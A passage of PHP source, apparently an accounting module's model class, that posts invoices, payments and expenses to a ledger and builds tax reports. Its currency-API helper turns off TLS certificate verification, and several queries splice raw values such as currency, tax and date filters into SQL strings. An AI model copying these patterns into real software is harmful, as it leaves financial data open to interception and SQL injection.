$payment_account; $node['account'] = $deposit_to; $node['item'] = $item_id; $node['debit'] = $item_total; $node['customer'] = $invoice->clientid; $node['paid'] = $paid; $node['date'] = $invoice->date; $node['tax'] = 0; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $payment_account; $node['item'] = $item_id; $node['date'] = $invoice->date; $node['paid'] = $paid; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $item_total; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } if($data_insert != []){ $affectedRows = $this->db->insert_batch(db_prefix().'acc_account_history', $data_insert); } if ($affectedRows > 0) { return true; } } return false; } /** * Automatic payment conversion * @param integer $payment_id * @return boolean */ public function automatic_payment_conversion($payment_id){ $this->db->where('rel_id', $payment_id); $this->db->where('rel_type', 'payment'); $count = $this->db->count_all_results(db_prefix() . 'acc_account_history'); if($count > 0){ return false; } $this->load->model('payments_model'); $payment = $this->payments_model->get($payment_id); $payment_account = get_option('acc_payment_payment_account'); $deposit_to = get_option('acc_payment_deposit_to'); $affectedRows = 0; $this->automatic_invoice_conversion($payment->invoiceid); if($payment){ if(get_option('acc_close_the_books') == 1){ if(strtotime($payment->date) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ return false; } } $this->load->model('invoices_model'); $invoice = $this->invoices_model->get($payment->invoiceid); $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $payment_total = $payment->amount; if($invoice->currency_name != $currency->name){ $payment_total = round($this->currency_converter($invoice->currency_name, $currency->name, $payment->amount), 2); } if(get_option('acc_active_payment_mode_mapping') == 1){ $payment_mode_mapping = $this->get_payment_mode_mapping($payment->paymentmode); $data_insert = []; if($payment_mode_mapping){ $node = []; $node['split'] = $payment_mode_mapping->payment_account; $node['account'] = $payment_mode_mapping->deposit_to; $node['date'] = $payment->date; $node['debit'] = $payment_total; $node['customer'] = $invoice->clientid; $node['credit'] = 0; $node['tax'] = 0; $node['description'] = ''; $node['rel_id'] = $payment_id; $node['rel_type'] = 'payment'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $payment_mode_mapping->deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $payment_mode_mapping->payment_account; $node['date'] = $payment->date; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $payment_total; $node['description'] = ''; $node['rel_id'] = $payment_id; $node['rel_type'] = 'payment'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } }else{ if(get_option('acc_payment_automatic_conversion') == 1){ $node = []; $node['split'] = $payment_account; $node['account'] = $deposit_to; $node['customer'] = $invoice->clientid; $node['debit'] = $payment_total; $node['credit'] = 0; $node['date'] = $payment->date; $node['description'] = ''; $node['rel_id'] = $payment_id; $node['rel_type'] = 'payment'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $payment_account; $node['date'] = $payment->date; $node['debit'] = 0; $node['credit'] = $payment_total; $node['description'] = ''; $node['rel_id'] = $payment_id; $node['rel_type'] = 'payment'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } if($data_insert != []){ $affectedRows = $this->db->insert_batch(db_prefix().'acc_account_history', $data_insert); } if ($affectedRows > 0) { return true; } } return false; } /** * Automatic expense conversion * @param integer $expense_id * @return boolean */ public function automatic_expense_conversion($expense_id){ $this->load->model('expenses_model'); $expense = $this->expenses_model->get($expense_id); $payment_account = get_option('acc_expense_payment_account'); $deposit_to = get_option('acc_expense_deposit_to'); $tax_payment_account = get_option('acc_tax_payment_account'); $tax_deposit_to = get_option('acc_tax_deposit_to'); $payment_mode_payment_account = get_option('acc_expense_payment_payment_account'); $payment_mode_deposit_to = get_option('acc_expense_payment_deposit_to'); $affectedRows = 0; if($expense){ if(get_option('acc_close_the_books') == 1){ if(strtotime($expense->date) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ return false; } } $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $expense_total = $expense->amount; if($expense->currency_data->name != $currency->name){ $expense_total = round($this->currency_converter($expense->currency_data->name, $currency->name, $expense->amount), 2); } $data_insert = []; if(get_option('acc_active_expense_category_mapping') == 1){ $expense_category_mapping = $this->get_expense_category_mapping($expense->category); if($expense_category_mapping){ if($expense_category_mapping->preferred_payment_method == 1 && $expense->paymentmode > 0){ $payment_mode_mapping = $this->get_payment_mode_mapping($expense->paymentmode); if($payment_mode_mapping){ if(get_option('acc_active_payment_mode_mapping') == 1){ $node = []; $node['split'] = $payment_mode_mapping->expense_payment_account; $node['account'] = $payment_mode_mapping->expense_deposit_to; $node['tax'] = 0; $node['debit'] = $expense_total; $node['credit'] = 0; $node['customer'] = $expense->clientid; $node['date'] = $expense->date; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $payment_mode_mapping->expense_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $payment_mode_mapping->expense_payment_account; $node['tax'] = 0; $node['date'] = $expense->date; $node['debit'] = 0; $node['credit'] = $expense_total; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } } if(count($data_insert) == 0){ $node = []; $node['split'] = $expense_category_mapping->payment_account; $node['account'] = $expense_category_mapping->deposit_to; $node['date'] = $expense->date; $node['debit'] = $expense_total; $node['customer'] = $expense->clientid; $node['credit'] = 0; $node['tax'] = 0; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $expense_category_mapping->deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $expense_category_mapping->payment_account; $node['date'] = $expense->date; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $expense_total; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } }else{ if(get_option('acc_expense_automatic_conversion') == 1){ $node = []; $node['split'] = $payment_account; $node['account'] = $deposit_to; $node['debit'] = $expense_total; $node['customer'] = $expense->clientid; $node['date'] = $expense->date; $node['tax'] = 0; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $deposit_to; $node['account'] = $payment_account; $node['customer'] = $expense->clientid; $node['date'] = $expense->date; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $expense_total; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } if(count($data_insert) == 0 && $expense->paymentmode > 0){ $payment_mode_mapping = $this->get_payment_mode_mapping($expense->paymentmode); if($payment_mode_mapping){ if(get_option('acc_active_payment_mode_mapping') == 1){ $node = []; $node['split'] = $payment_mode_mapping->expense_payment_account; $node['account'] = $payment_mode_mapping->expense_deposit_to; $node['tax'] = 0; $node['debit'] = $expense_total; $node['credit'] = 0; $node['customer'] = $expense->clientid; $node['date'] = $expense->date; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $payment_mode_mapping->expense_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $payment_mode_mapping->expense_payment_account; $node['tax'] = 0; $node['date'] = $expense->date; $node['debit'] = 0; $node['credit'] = $expense_total; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } }else{ if(get_option('acc_payment_expense_automatic_conversion') == 1){ $node = []; $node['split'] = $payment_mode_payment_account; $node['account'] = $payment_mode_deposit_to; $node['tax'] = 0; $node['date'] = $expense->date; $node['debit'] = $expense_total; $node['customer'] = $expense->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $payment_mode_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $payment_mode_payment_account; $node['date'] = $expense->date; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $expense_total; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } } if(get_option('acc_tax_automatic_conversion') == 1){ if($expense->tax > 0){ $this->db->where('id', $expense->tax); $tax = $this->db->get(db_prefix().'taxes')->row(); $total_tax = 0; if($tax){ $total_tax = ($tax->taxrate/100) * $expense_total; } $tax_mapping = $this->get_tax_mapping($expense->tax); if($tax_mapping){ $node = []; $node['split'] = $tax_mapping->expense_payment_account; $node['account'] = $tax_mapping->expense_deposit_to; $node['tax'] = $expense->tax; $node['debit'] = $total_tax; $node['credit'] = 0; $node['customer'] = $expense->clientid; $node['date'] = $expense->date; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_mapping->expense_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $tax_mapping->expense_payment_account; $node['tax'] = $expense->tax; $node['date'] = $expense->date; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; }else{ $node = []; $node['split'] = $tax_payment_account; $node['account'] = $tax_deposit_to; $node['tax'] = $expense->tax; $node['date'] = $expense->date; $node['debit'] = $total_tax; $node['customer'] = $expense->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $tax_payment_account; $node['date'] = $expense->date; $node['tax'] = $expense->tax; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } if($expense->tax2 > 0){ $this->db->where('id', $expense->tax2); $tax = $this->db->get(db_prefix().'taxes')->row(); $total_tax = 0; if($tax){ $total_tax = ($tax->taxrate/100) * $expense_total; } $tax_mapping = $this->get_tax_mapping($expense->tax2); if($tax_mapping){ $node = []; $node['split'] = $tax_mapping->expense_payment_account; $node['account'] = $tax_mapping->expense_deposit_to; $node['tax'] = $expense->tax2; $node['debit'] = $total_tax; $node['credit'] = 0; $node['customer'] = $expense->clientid; $node['date'] = $expense->date; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_mapping->expense_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $tax_mapping->expense_payment_account; $node['tax'] = $expense->tax2; $node['date'] = $expense->date; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; }else{ $node = []; $node['split'] = $tax_payment_account; $node['account'] = $tax_deposit_to; $node['tax'] = $expense->tax2; $node['date'] = $expense->date; $node['debit'] = $total_tax; $node['customer'] = $expense->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $tax_payment_account; $node['date'] = $expense->date; $node['tax'] = $expense->tax2; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } } if($data_insert != []){ $affectedRows = $this->db->insert_batch(db_prefix().'acc_account_history', $data_insert); } if ($affectedRows > 0) { return true; } } return false; } /** * count invoice not convert yet * @param integer $currency * @param string $where * @return object */ public function count_invoice_not_convert_yet($currency = '', $where = ''){ $where_currency = ''; if($currency != ''){ $where_currency = 'and currency = '.$currency; } if($where != ''){ $this->db->where($where); } $this->db->where('((select count(*) from ' . db_prefix() . 'acc_account_history where ' . db_prefix() . 'acc_account_history.rel_id = ' . db_prefix() . 'invoices.id and ' . db_prefix() . 'acc_account_history.rel_type = "invoice") = 0) '.$where_currency); return $this->db->count_all_results(db_prefix().'invoices'); } /** * count payment not convert yet * @param integer $currency * @param string $where * @return object */ public function count_payment_not_convert_yet($currency = '', $where = ''){ $where_currency = ''; if($currency != ''){ $where_currency = 'and currency = '.$currency; } if($where != ''){ $this->db->where($where); } $this->db->where('((select count(*) from ' . db_prefix() . 'acc_account_history where ' . db_prefix() . 'acc_account_history.rel_id = ' . db_prefix() . 'invoicepaymentrecords.id and ' . db_prefix() . 'acc_account_history.rel_type = "payment") = 0) '.$where_currency); $this->db->join(db_prefix() . 'invoices', db_prefix() . 'invoices.id=' . db_prefix() . 'invoicepaymentrecords.invoiceid', 'left'); return $this->db->count_all_results(db_prefix().'invoicepaymentrecords'); } /** * count expense not convert yet * @param string $where * @param integer $currency * @return object */ public function count_expense_not_convert_yet($currency = '', $where = ''){ $where_currency = ''; if($currency != ''){ $where_currency = 'and currency = '.$currency; } if($where != ''){ $this->db->where($where); } $this->db->where('((select count(*) from ' . db_prefix() . 'acc_account_history where ' . db_prefix() . 'acc_account_history.rel_id = ' . db_prefix() . 'expenses.id and ' . db_prefix() . 'acc_account_history.rel_type = "expense") = 0) '.$where_currency); return $this->db->count_all_results(db_prefix().'expenses'); } /** * delete invoice convert * @param integer $invoice_id * @return boolean */ public function delete_invoice_convert($invoice_id){ $affectedRows = 0; $check = $this->delete_convert($invoice_id,'invoice'); if($check){ $affectedRows++; } $this->db->where('invoiceid', $invoice_id); $payments = $this->db->get(db_prefix() . 'invoicepaymentrecords')->result_array(); foreach ($payments as $key => $value) { $check = $this->delete_convert($value['id'],'payment'); if($check){ $affectedRows++; } } if($affectedRows > 0){ return true; } return false; } /** * invoice status changed * @param array $data * @return boolean */ public function invoice_status_changed($data){ if(isset($data['invoice_id']) && isset($data['status'])){ if($data['status'] == 2){ $this->db->where('rel_id', $data['invoice_id']); $this->db->where('rel_type', 'invoice'); $this->db->update(db_prefix().'acc_account_history', ['paid' => 1]); if ($this->db->affected_rows() > 0) { return true; } } } return false; } /** * get items are not yet auto * @return array */ public function get_items_not_yet_auto(){ $this->db->where('((select count(*) from ' . db_prefix() . 'acc_item_automatics where ' . db_prefix() . 'acc_item_automatics.item_id = ' . db_prefix() . 'items.id) = 0)'); return $this->db->get(db_prefix().'items')->result_array(); } /** * add item automatic * @param array $data * @return boolean */ public function add_item_automatic($data){ if(isset($data['id'])){ unset($data['id']); } $items = []; if(isset($data['item'])){ $items = $data['item']; unset($data['item']); } $data_insert = []; foreach ($items as $value) { $this->db->where('item_id', $value); $count = $this->db->count_all_results(db_prefix() . 'acc_item_automatics'); if($count == 0){ $node = []; $node['item_id'] = $value; $node['inventory_asset_account'] = $data['inventory_asset_account']; $node['income_account'] = $data['income_account']; $node['expense_account'] = $data['expense_account']; $data_insert[] = $node; } } $affectedRows = $this->db->insert_batch(db_prefix().'acc_item_automatics', $data_insert); if ($affectedRows > 0) { return true; } return false; } /** * update item automatic * @param array $data * @param integer $id * @return boolean */ public function update_item_automatic($data, $id){ $this->db->where('id', $id); $this->db->update(db_prefix().'acc_item_automatics', $data); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * delete item automatic * @param integer $id * @return boolean */ public function delete_item_automatic($id) { $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_item_automatics'); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * Gets the item by name. * * @param string $item_name The itemid * * @return object The item. */ public function get_item_by_name($item_name) { $this->db->where('description', $item_name); return $this->db->get(db_prefix() . 'items')->row(); } /** * Gets the item automatic * * @param string $item_id The itemid * * @return object The item automatic. */ public function get_item_automatic($item_id) { $this->db->where('item_id', $item_id); return $this->db->get(db_prefix() . 'acc_item_automatics')->row(); } /** * delete banking * @param integer $id * @return boolean */ public function delete_banking($id) { $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_transaction_bankings'); if ($this->db->affected_rows() > 0) { $this->db->where('rel_id', $id); $this->db->where('rel_type', 'banking'); $this->db->delete(db_prefix() . 'acc_account_history'); return true; } return false; } /** * add tax mapping * @param array $data * @return boolean */ public function add_tax_mapping($data){ if(isset($data['id'])){ unset($data['id']); } $taxs = []; if(isset($data['tax'])){ $taxs = $data['tax']; unset($data['tax']); } $data_insert = []; foreach ($taxs as $value) { $this->db->where('tax_id', $value); $count = $this->db->count_all_results(db_prefix() . 'acc_tax_mappings'); if($count == 0){ $node = []; $node['tax_id'] = $value; $node['payment_account'] = $data['payment_account']; $node['deposit_to'] = $data['deposit_to']; $node['expense_payment_account'] = $data['expense_payment_account']; $node['expense_deposit_to'] = $data['expense_deposit_to']; $data_insert[] = $node; } } $affectedRows = $this->db->insert_batch(db_prefix().'acc_tax_mappings', $data_insert); if ($affectedRows > 0) { return true; } return false; } /** * update tax mapping * @param array $data * @param integer $id * @return boolean */ public function update_tax_mapping($data, $id){ $this->db->where('id', $id); $this->db->update(db_prefix().'acc_tax_mappings', $data); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * delete tax mapping * @param integer $id * @return boolean */ public function delete_tax_mapping($id) { $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_tax_mappings'); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * get taxes are not yet auto * @return array */ public function get_taxes_not_yet_auto(){ $this->db->where('((select count(*) from ' . db_prefix() . 'acc_tax_mappings where ' . db_prefix() . 'acc_tax_mappings.tax_id = ' . db_prefix() . 'taxes.id) = 0)'); return $this->db->get(db_prefix().'taxes')->result_array(); } /** * Gets the tax mapping * * @param string $tax_id The tax id * * @return object The tax mapping. */ public function get_tax_mapping($tax_id) { $this->db->where('tax_id', $tax_id); return $this->db->get(db_prefix() . 'acc_tax_mappings')->row(); } /** * [currency_converter description] * @param string $from Currency Code * @param string $to Currency Code * @param float $amount * @return float */ public function currency_converter($from,$to,$amount) { $url = "https://api.frankfurter.app/latest?amount=$amount&from=$from&to=$to"; $response = json_decode($this->api_get($url)); if(isset($response->rates->$to)){ return $response->rates->$to; } return false; } /** * api get * @param string $url * @return string */ public function api_get($url) { $curl = curl_init($url); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET'); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_AUTOREFERER, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_TIMEOUT, 120); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($curl, CURLOPT_MAXREDIRS, 10); return curl_exec($curl); } /** * get expense category are not yet auto * @return array */ public function get_expense_category_not_yet_auto(){ $this->db->where('((select count(*) from ' . db_prefix() . 'acc_expense_category_mappings where ' . db_prefix() . 'acc_expense_category_mappings.category_id = ' . db_prefix() . 'expenses_categories.id) = 0)'); return $this->db->get(db_prefix().'expenses_categories')->result_array(); } /** * add expense category mapping * @param array $data * @return boolean */ public function add_expense_category_mapping($data){ if(isset($data['id'])){ unset($data['id']); } $categorys = []; if(isset($data['category'])){ $categorys = $data['category']; unset($data['category']); } if (!isset($data['preferred_payment_method'])) { $data['preferred_payment_method'] = 0; } $data_insert = []; foreach ($categorys as $value) { $this->db->where('category_id', $value); $count = $this->db->count_all_results(db_prefix() . 'acc_expense_category_mappings'); if($count == 0){ $node = []; $node['category_id'] = $value; $node['payment_account'] = $data['payment_account']; $node['deposit_to'] = $data['deposit_to']; $data_insert[] = $node; } } $affectedRows = $this->db->insert_batch(db_prefix().'acc_expense_category_mappings', $data_insert); if ($affectedRows > 0) { return true; } return false; } /** * update expense category mapping * @param array $data * @param integer $id * @return boolean */ public function update_expense_category_mapping($data, $id){ if (!isset($data['preferred_payment_method'])) { $data['preferred_payment_method'] = 0; } $this->db->where('id', $id); $this->db->update(db_prefix().'acc_expense_category_mappings', $data); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * delete expense category mapping * @param integer $id * @return boolean */ public function delete_expense_category_mapping($id) { $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_expense_category_mappings'); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * Gets the expense category mappings * * @param string $category_id The expense category id * * @return object The expense category mapping. */ public function get_expense_category_mapping($category_id) { $this->db->where('category_id', $category_id); return $this->db->get(db_prefix() . 'acc_expense_category_mappings')->row(); } /** * get data tax detail report * @return array */ public function get_data_tax_detail_report($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $data_report = []; $data_report['tax_collected_on_sales'] = []; $data_report['total_taxable_sales_in_period_before_tax'] = []; $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '") and tax > 0 and rel_type = "invoice" and debit > 0'); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->order_by('date', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $list_invoice = []; $this->load->model('invoices_model'); foreach ($account_history as $v) { if(!in_array($v['rel_id'], $list_invoice)){ $list_invoice[] = $v['rel_id']; $invoice = $this->invoices_model->get($v['rel_id']); $data_report['total_taxable_sales_in_period_before_tax'][] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'description' => $v['description'], 'customer' => $v['customer'], 'amount' => $invoice->subtotal, ]; } $this->db->where('id', $v['tax']); $_tax = $this->db->get(db_prefix().'taxes')->row(); $data_report['tax_collected_on_sales'][] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'tax_name' => $_tax->name, 'tax_rate' => $_tax->taxrate, 'description' => $v['description'], 'customer' => $v['customer'], 'amount' => $v['debit'], ]; } $data_report['tax_reclaimable_on_purchases'] = []; $data_report['total_taxable_purchases_in_period_before_tax'] = []; $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '") and tax > 0 and rel_type = "expense" and credit > 0'); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->order_by('date', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $list_expense = []; $this->load->model('expenses_model'); foreach ($account_history as $v) { if(!in_array($v['rel_id'], $list_expense)){ $list_expense[] = $v['rel_id']; $expense = $this->expenses_model->get($v['rel_id']); $data_report['total_taxable_purchases_in_period_before_tax'][] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'description' => $v['description'], 'customer' => $v['customer'], 'amount' => $expense->amount, ]; } $this->db->where('id', $v['tax']); $_tax = $this->db->get(db_prefix().'taxes')->row(); $data_report['tax_reclaimable_on_purchases'][] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'tax_name' => $_tax->name, 'tax_rate' => $_tax->taxrate, 'description' => $v['description'], 'customer' => $v['customer'], 'amount' => $v['credit'], ]; } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data tax summary report * @return array */ public function get_data_tax_summary_report($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $tax = 0; if(isset($data_filter['tax'])){ $tax = $data_filter['tax']; } $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $data_report = []; $data_report['tax_collected_on_sales'] = 0; $data_report['total_taxable_sales_in_period_before_tax'] = 0; $data_report['adjustments_to_tax_on_sales'] = 0; $data_report['total_taxable_purchases_in_period_before_tax'] = 0; $data_report['tax_reclaimable_on_purchases'] = 0; $data_report['other_adjustments'] = 0; $data_report['tax_due_or_credit_from_previous_periods'] = 0; $data_report['tax_payments_made_this_period'] = 0; $data_report['adjustments_to_reclaimable_tax_on_purchases'] = 0; $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '") and tax = '.$tax.' and rel_type = "invoice" and debit > 0'); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->order_by('date', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $list_invoice = []; $this->load->model('invoices_model'); foreach ($account_history as $v) { if(!in_array($v['rel_id'], $list_invoice)){ $list_invoice[] = $v['rel_id']; $invoice = $this->invoices_model->get($v['rel_id']); $data_report['total_taxable_sales_in_period_before_tax'] += $invoice->subtotal; } $data_report['tax_collected_on_sales'] += $v['debit']; } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '") and tax = '.$tax.' and rel_type = "expense" and credit > 0'); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->order_by('date', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $this->load->model('expenses_model'); $list_expense = []; foreach ($account_history as $v) { if(!in_array($v['rel_id'], $list_expense)){ $list_expense[] = $v['rel_id']; $expense = $this->expenses_model->get($v['rel_id']); $data_report['total_taxable_purchases_in_period_before_tax'] += $expense->amount; } $data_report['tax_reclaimable_on_purchases'] += $v['credit']; } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data tax liability report * @return array */ public function get_data_tax_liability_report($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $data_report = []; $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '") and tax > 0 and (rel_type = "invoice" or rel_type = "expense") and debit > 0'); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->order_by('tax, rel_type', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $list_invoice = []; foreach ($account_history as $v) { if(isset($data_report[$v['tax'].'_'.$v['rel_type']])){ $data_report[$v['tax'].'_'.$v['rel_type']]['amount'] += $v['debit']; }else{ $this->db->where('id', $v['tax']); $_tax = $this->db->get(db_prefix().'taxes')->row(); $data_report[$v['tax'].'_'.$v['rel_type']] = []; $data_report[$v['tax'].'_'.$v['rel_type']]['name'] = $_tax->name.' ('._l($v['rel_type']).')('.$_tax->taxrate.'%)'; $data_report[$v['tax'].'_'.$v['rel_type']]['amount'] = $v['debit']; } } return ['data' => $data_report, 